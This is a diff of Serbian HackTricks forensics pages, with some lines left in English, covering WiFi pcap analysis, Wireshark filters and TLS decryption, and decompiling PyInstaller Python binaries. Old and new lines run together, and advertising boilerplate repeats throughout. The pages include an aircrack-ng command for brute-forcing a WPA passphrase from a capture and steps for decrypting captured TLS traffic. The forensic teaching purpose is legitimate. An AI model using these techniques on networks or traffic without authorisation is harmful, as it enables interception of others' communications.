* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
## Provera BSSID-ova ## Proverite BSSID-ove
Kada primite snimak čiji je glavni saobraćaj Wifi koristeći WireShark, možete početi istraživati sve SSID-ove snimka sa _Wireless --> WLAN Traffic_: Kada primite snimak čiji je glavni saobraćaj Wifi koristeći WireShark, možete početi da istražujete sve SSID-ove snimka sa _Wireless --> WLAN Traffic_:
![](<../../../.gitbook/assets/image (106).png>) ![](<../../../.gitbook/assets/image (106).png>)
@ -24,40 +25,43 @@ Kada primite snimak čiji je glavni saobraćaj Wifi koristeći WireShark, možet
### Brute Force ### Brute Force
Jedna od kolona na tom ekranu pokazuje da li je **pronađena bilo kakva autentifikacija unutar pcap-a**. Ukoliko je to slučaj, možete pokušati da je probijete koristeći `aircrack-ng`: Jedna od kolona na toj ekranu pokazuje da li je **bilo kakva autentifikacija pronađena unutar pcap-a**. Ako je to slučaj, možete pokušati da je Brute force-ujete koristeći `aircrack-ng`:
```bash ```bash
aircrack-ng -w pwds-file.txt -b <BSSID> file.pcap aircrack-ng -w pwds-file.txt -b <BSSID> file.pcap
``` ```
## Podaci u Bitovima / Bočni Kanal For example it will retrieve the WPA passphrase protecting a PSK (pre shared-key), that will be required to decrypt the trafic later.
Ako sumnjate da **podaci cure unutar bitova Wi-Fi mreže** možete proveriti bitove mreže koristeći filter poput sledećeg: `wlan contains <IMEmreže>`, ili `wlan.ssid == "IMEmreže"` pretražite filtrirane pakete za sumnjive niske. ## Data in Beacons / Side Channel
## Pronalaženje Nepoznatih MAC Adresa u Wi-Fi Mreži If you suspect that **podaci se curi unutar beacons Wifi mreže** you can check the beacons of the network using a filter like the following one: `wlan contains <NAMEofNETWORK>`, or `wlan.ssid == "NAMEofNETWORK"` search inside the filtered packets for suspicious strings.
Sledeći link će biti koristan za pronalaženje **mašina koje šalju podatke unutar Wi-Fi Mreže**: ## Find Unknown MAC Addresses in A Wifi Network
The following link will be useful to find the **mašine koje šalju podatke unutar Wifi mreže**:
* `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2` * `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2`
Ako već znate **MAC adrese, možete ih ukloniti iz rezultata** dodavanjem provera poput ove: `&& !(wlan.addr==5c:51:88:31:a0:3b)` If you already know **MAC adrese možete ih ukloniti iz izlaza** adding checks like this one: `&& !(wlan.addr==5c:51:88:31:a0:3b)`
Kada otkrijete **nepoznate MAC** adrese koje komuniciraju unutar mreže, možete koristiti **filtere** poput sledećeg: `wlan.addr==<MAC adresa> && (ftp || http || ssh || telnet)` da filtrirate njen saobraćaj. Imajte na umu da su ftp/http/ssh/telnet filteri korisni ako ste dešifrovali saobraćaj. Once you have detected **nepoznate MAC** adrese communicating inside the network you can use **filters** like the following one: `wlan.addr==<MAC address> && (ftp || http || ssh || telnet)` to filter its traffic. Note that ftp/http/ssh/telnet filters are useful if you have decrypted the traffic.
## Dekriptovanje Saobraćaja ## Decrypt Traffic
Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit
![](<../../../.gitbook/assets/image (499).png>) ![](<../../../.gitbook/assets/image (499).png>)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,34 +1,35 @@
# Trikovi sa Wireshark-om # Wireshark trikovi
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podrška HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io) ### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark-web-om** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera za krađu podataka**. [**WhiteIntel**](https://whiteintel.io) je **dark-web** pretraživač koji nudi **besplatne** funkcionalnosti za proveru da li je neka kompanija ili njeni klijenti **kompromitovani** od strane **stealer malvera**.
Primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija. Njihov primarni cilj je da se bore protiv preuzimanja naloga i ransomware napada koji proizlaze iz malvera koji krade informacije.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na: Možete proveriti njihovu veb stranicu i isprobati njihov pretraživač **besplatno** na:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
*** ***
## Unapredite svoje veštine sa Wireshark-om ## Poboljšajte svoje veštine u Wireshark-u
### Tutorijali ### Tutorijali
@ -41,65 +42,65 @@ Sledeći tutorijali su sjajni za učenje nekih cool osnovnih trikova:
### Analizirane informacije ### Analizirane informacije
**Ekspertske informacije** **Expert informacije**
Klikom na _**Analyze** --> **Expert Information**_ dobićete **pregled** onoga što se dešava u analiziranim paketima: Klikom na _**Analiziraj** --> **Expert informacije**_ dobićete **pregled** onoga što se dešava u **analiziranim** paketima:
![](<../../../.gitbook/assets/image (256).png>) ![](<../../../.gitbook/assets/image (256).png>)
**Rešene adrese** **Rešene adrese**
Pod _**Statistics --> Resolved Addresses**_ možete pronaći nekoliko **informacija** koje je wireshark "**rešio**" kao što su port/transport do protokola, MAC do proizvođača, itd. Korisno je znati šta je uključeno u komunikaciju. Pod _**Statistika --> Rešene adrese**_ možete pronaći nekoliko **informacija** koje je Wireshark "**rešio**", kao što su port/transport do protokola, MAC do proizvođača itd. Zanimljivo je znati šta je uključeno u komunikaciju.
![](<../../../.gitbook/assets/image (893).png>) ![](<../../../.gitbook/assets/image (893).png>)
**Hijerarhija protokola** **Hijerarhija protokola**
Pod _**Statistics --> Protocol Hierarchy**_ možete pronaći **protokole** koji su **učestvovali** u komunikaciji i podatke o njima. Pod _**Statistika --> Hijerarhija protokola**_ možete pronaći **protokole** **uključene** u komunikaciju i podatke o njima.
![](<../../../.gitbook/assets/image (586).png>) ![](<../../../.gitbook/assets/image (586).png>)
**Konverzacije** **Razgovori**
Pod _**Statistics --> Conversations**_ možete pronaći **rezime konverzacija** u komunikaciji i podatke o njima. Pod _**Statistika --> Razgovori**_ možete pronaći **rezime razgovora** u komunikaciji i podatke o njima.
![](<../../../.gitbook/assets/image (453).png>) ![](<../../../.gitbook/assets/image (453).png>)
**Krajnje tačke** **Krajnje tačke**
Pod _**Statistics --> Endpoints**_ možete pronaći **rezime krajnjih tačaka** u komunikaciji i podatke o svakoj od njih. Pod _**Statistika --> Krajnje tačke**_ možete pronaći **rezime krajnjih tačaka** u komunikaciji i podatke o svakoj od njih.
![](<../../../.gitbook/assets/image (896).png>) ![](<../../../.gitbook/assets/image (896).png>)
**DNS informacije** **DNS informacije**
Pod _**Statistics --> DNS**_ možete pronaći statistike o uhvaćenim DNS zahtevima. Pod _**Statistika --> DNS**_ možete pronaći statistiku o uhvaćenim DNS zahtevima.
![](<../../../.gitbook/assets/image (1063).png>) ![](<../../../.gitbook/assets/image (1063).png>)
**I/O Grafikon** **I/O graf**
Pod _**Statistics --> I/O Graph**_ možete pronaći **grafikon komunikacije**. Pod _**Statistika --> I/O graf**_ možete pronaći **graf komunikacije.**
![](<../../../.gitbook/assets/image (992).png>) ![](<../../../.gitbook/assets/image (992).png>)
### Filteri ### Filteri
Ovde možete pronaći wireshark filtere u zavisnosti od protokola: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\ Ovde možete pronaći Wireshark filtere u zavisnosti od protokola: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\
Drugi interesantni filteri: Ostali zanimljivi filteri:
* `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)` * `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)`
* HTTP i početni HTTPS saobraćaj * HTTP i inicijalni HTTPS saobraćaj
* `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002) and !(udp.port eq 1900)` * `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002) and !(udp.port eq 1900)`
* HTTP i početni HTTPS saobraćaj + TCP SYN * HTTP i inicijalni HTTPS saobraćaj + TCP SYN
* `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and !(udp.port eq 1900)` * `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and !(udp.port eq 1900)`
* HTTP i početni HTTPS saobraćaj + TCP SYN + DNS zahtevi * HTTP i inicijalni HTTPS saobraćaj + TCP SYN + DNS zahtevi
### Pretraga ### Pretraga
Ako želite da **pretražujete** **sadržaj** unutar **paketa** sesija pritisnite _CTRL+f_. Možete dodati nove slojeve glavnoj informacionoj traci (Br., Vreme, Izvor, itd.) pritiskom na desno dugme, a zatim na uređivanje kolone. Ako želite da **pretražujete** za **sadržajem** unutar **paketa** sesija pritisnite _CTRL+f_. Možete dodati nove slojeve u glavnu informativnu traku (Br., Vreme, Izvor itd.) pritiskom desnog dugmeta i zatim uređivanjem kolone.
### Besplatne pcap laboratorije ### Besplatni pcap laboratoriji
**Vežbajte sa besplatnim izazovima na:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net) **Vežbajte sa besplatnim izazovima na:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net)
@ -109,45 +110,46 @@ Možete dodati kolonu koja prikazuje Host HTTP zaglavlje:
![](<../../../.gitbook/assets/image (639).png>) ![](<../../../.gitbook/assets/image (639).png>)
I kolonu koja dodaje ime servera sa inicijalne HTTPS veze (**ssl.handshake.type == 1**): I kolonu koja dodaje ime servera iz inicijalne HTTPS veze (**ssl.handshake.type == 1**):
![](<../../../.gitbook/assets/image (408) (1).png>) ![](<../../../.gitbook/assets/image (408) (1).png>)
## Identifikacija lokalnih imena hostova ## Identifikacija lokalnih imena hostova
### Iz DHCP-a ### Iz DHCP
U trenutnom Wireshark-u umesto `bootp` treba da tražite `DHCP` U trenutnom Wireshark-u umesto `bootp` trebate pretraživati `DHCP`
![](<../../../.gitbook/assets/image (1013).png>) ![](<../../../.gitbook/assets/image (1013).png>)
### Iz NBNS-a ### Iz NBNS
![](<../../../.gitbook/assets/image (1003).png>) ![](<../../../.gitbook/assets/image (1003).png>)
## Dekriptovanje TLS-a ## Dekriptovanje TLS
### Dekriptovanje https saobraćaja pomoću privatnog ključa servera ### Dekriptovanje https saobraćaja sa privatnim ključem servera
_izmeni>postavke>protokol>ssl>_ _edit>preference>protocol>ssl>_
![](<../../../.gitbook/assets/image (1103).png>) ![](<../../../.gitbook/assets/image (1103).png>)
Pritisnite _Izmeni_ i dodajte sve podatke servera i privatnog ključa (_IP, Port, Protokol, Datoteka ključa i lozinka_) Pritisnite _Edit_ i dodajte sve podatke o serveru i privatnom ključu (_IP, Port, Protokol, Datoteka ključeva i lozinka_)
### Dekriptovanje https saobraćaja pomoću simetričnih sesijskih ključeva ### Dekriptovanje https saobraćaja sa simetričnim sesijskim ključevima
Kako Firefox tako i Chrome imaju mogućnost da beleže TLS sesijske ključeve, koji se mogu koristiti sa Wireshark-om za dekriptovanje TLS saobraćaja. Ovo omogućava dubinsku analizu sigurnih komunikacija. Više detalja o tome kako izvršiti ovu dekripciju možete pronaći u vodiču na [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/). I Firefox i Chrome imaju mogućnost da beleže TLS sesijske ključeve, koji se mogu koristiti sa Wireshark-om za dekriptovanje TLS saobraćaja. Ovo omogućava dubinsku analizu sigurnih komunikacija. Više detalja o tome kako izvršiti ovo dekriptovanje možete pronaći u vodiču na [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/).
Da biste ovo otkrili, pretražite okruženje za promenljivu `SSLKEYLOGFILE` Da biste to otkrili, pretražujte unutar okruženja za promenljivu `SSLKEYLOGFILE`
Datoteka deljenih ključeva će izgledati ovako: Datoteka deljenih ključeva će izgledati ovako:
![](<../../../.gitbook/assets/image (820).png>) ![](<../../../.gitbook/assets/image (820).png>)
Da biste ovo uvezli u wireshark idite na \_izmeni > postavke > protokol > ssl > i uvezite je u (Pre)-Master-Secret log filename: Da biste to uvezli u Wireshark, idite na \_edit > preference > protocol > ssl > i uvezite to u (Pre)-Master-Secret log filename:
![](<../../../.gitbook/assets/image (989).png>) ![](<../../../.gitbook/assets/image (989).png>)
## ADB komunikacija ## ADB komunikacija
Izvucite APK iz ADB komunikacije gde je APK poslat: Izvucite APK iz ADB komunikacije gde je APK poslat:
@ -181,24 +183,25 @@ f.close()
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark web-om** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **ugroženi** od **malvera za krađu podataka**. [**WhiteIntel**](https://whiteintel.io) je **dark-web** pretraživač koji nudi **besplatne** funkcionalnosti za proveru da li je neka kompanija ili njeni klijenti bili **kompromitovani** od strane **stealer malwares**.
Njihov primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomvera koji proizilaze iz malvera za krađu informacija. Njihov primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i ransomware napada koji proizlaze iz malvera koji krade informacije.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na: Možete proveriti njihovu veb stranicu i isprobati njihov pretraživač **besplatno** na:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# Dekompilacija kompajliranih Python binarnih fajlova (exe, elf) - Dobijanje iz .pyc # Decompile compiled python binaries (exe, elf) - Retreive from .pyc
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**Savet za bug bounty**: **registrujte se** za **Intigriti**, premium **platformu za bug bounty kreiranu od hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**! **Bug bounty tip**: **prijavite se** za **Intigriti**, premium **bug bounty platformu koju su kreirali hakeri, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
## Od Kompajliranog Binarnog Fajla do .pyc ## From Compiled Binary to .pyc
Iz **ELF** kompajliranog binarnog fajla možete **dobiti .pyc** sa: Iz **ELF** kompajliranog binarnog fajla možete **dobiti .pyc** sa:
```bash ```bash
@ -41,38 +42,38 @@ pyi-archive_viewer <binary>
? X binary_name ? X binary_name
to filename? /tmp/binary.pyc to filename? /tmp/binary.pyc
``` ```
U **python exe binarnom** fajlu možete **dobiti .pyc** pokretanjem: U **python exe binarnom** kompajliranom možete **dobiti .pyc** pokretanjem:
```bash ```bash
python pyinstxtractor.py executable.exe python pyinstxtractor.py executable.exe
``` ```
## Od .pyc do python koda ## From .pyc to python code
Za **.pyc** podatke ("kompajlirani" python) trebalo bi da počnete sa pokušajem **izvlačenja** **originalnog** **python** **koda**: Za **.pyc** podatke ("kompilirani" python) trebali biste početi pokušavati da **izvučete** **originalni** **python** **kod**:
```bash ```bash
uncompyle6 binary.pyc > decompiled.py uncompyle6 binary.pyc > decompiled.py
``` ```
**Proverite** da li binarni fajl ima **ekstenziju** "**.pyc**" (ako nema, **uncompyle6** neće raditi) **Budite sigurni** da binarni fajl ima **ekstenziju** "**.pyc**" (ako ne, uncompyle6 neće raditi)
Prilikom izvršavanja **uncompyle6** mogu se pojaviti **sljedeće greške**: Dok izvršavate **uncompyle6**, mogli biste naići na **sledeće greške**:
### Greška: Nepoznat broj magičnog broja 227 ### Greška: Nepoznat magični broj 227
```bash ```bash
/kali/.local/bin/uncompyle6 /tmp/binary.pyc /kali/.local/bin/uncompyle6 /tmp/binary.pyc
Unknown magic number 227 in /tmp/binary.pyc Unknown magic number 227 in /tmp/binary.pyc
``` ```
Da biste to popravili, treba da **dodatе tačan magični broj** na početku generisanog fajla. Da biste to popravili, potrebno je da **dodate ispravan magični broj** na početku generisanog fajla.
**Magični brojevi variraju sa verzijom python-a**, da biste dobili magični broj za **python 3.8** treba da **otvorite python 3.8** terminal i izvršite: **Magični brojevi se razlikuju u zavisnosti od verzije pythona**, da biste dobili magični broj za **python 3.8**, potrebno je da **otvorite python 3.8** terminal i izvršite:
``` ```
>> import imp >> import imp
>> imp.get_magic().hex() >> imp.get_magic().hex()
'550d0d0a' '550d0d0a'
``` ```
U ovom slučaju, **magični broj** za python3.8 je **`0x550d0d0a`**, zatim, da biste ispravili ovu grešku, moraćete **dodati** na **početak** **.pyc datoteke** sledeće bajtove: `0x0d550a0d000000000000000000000000` The **magic number** in this case for python3.8 is **`0x550d0d0a`**, then, to fix this error you will need to **add** at the **beginning** of the **.pyc file** the following bytes: `0x0d550a0d000000000000000000000000`
**Kada** dodate taj magični zaglavlje, **greška bi trebalo da bude ispravljena.** **Jednom** kada ste **dodali** taj magični zaglavlje, **greška bi trebala biti ispravljena.**
Ovako će izgledati ispravno dodato **.pyc python3.8 magično zaglavlje**: This is how a correctly added **.pyc python3.8 magic header** will look like:
```bash ```bash
hexdump 'binary.pyc' | head hexdump 'binary.pyc' | head
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000 0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
@ -80,21 +81,21 @@ hexdump 'binary.pyc' | head
0000020 0700 0000 4000 0000 7300 0132 0000 0064 0000020 0700 0000 4000 0000 7300 0132 0000 0064
0000030 0164 006c 005a 0064 0164 016c 015a 0064 0000030 0164 006c 005a 0064 0164 016c 015a 0064
``` ```
### Greška: Dekompilacija generičkih grešaka ### Greška: Decompiling generic errors
**Druge greške** poput: `class 'AssertionError'>; co_code should be one of the types (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); is type <class 'NoneType'>` mogu se pojaviti. **Druge greške** kao što su: `class 'AssertionError'>; co_code should be one of the types (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); is type <class 'NoneType'>` mogu se pojaviti.
Ovo verovatno znači da **nisu pravilno dodati** magični brojevi ili da niste **koristili** **ispravan magični broj**, pa se uverite da koristite ispravan (ili pokušajte sa novim). To verovatno znači da **niste ispravno dodali** magični broj ili da niste **koristili** **ispravan magični broj**, pa se **pobrinite da koristite ispravan** (ili pokušajte novi).
Proverite dokumentaciju prethodne greške. Proverite dokumentaciju o prethodnim greškama.
## Automatski alat ## Automatski alat
Alat [**python-exe-unpacker**](https://github.com/countercept/python-exe-unpacker) služi kao kombinacija nekoliko alata dostupnih zajednici, dizajniranih da pomognu istraživačima u raspakivanju i dekompilaciji izvršnih datoteka napisanih u Pythonu, posebno onih kreiranih sa py2exe i pyinstaller. Uključuje YARA pravila za identifikaciju da li je izvršna datoteka zasnovana na Pythonu i potvrđuje alat za kreiranje. [**python-exe-unpacker alat**](https://github.com/countercept/python-exe-unpacker) služi kao kombinacija nekoliko alata dostupnih u zajednici, dizajniranih da pomognu istraživačima u raspakivanju i decompiling izvršnih datoteka napisanih u Pythonu, posebno onih kreiranih sa py2exe i pyinstaller. Uključuje YARA pravila za identifikaciju da li je izvršna datoteka zasnovana na Pythonu i potvrđuje alat za kreiranje.
### ImportError: Ime datoteke: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' ne postoji ### ImportError: Ime datoteke: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' ne postoji
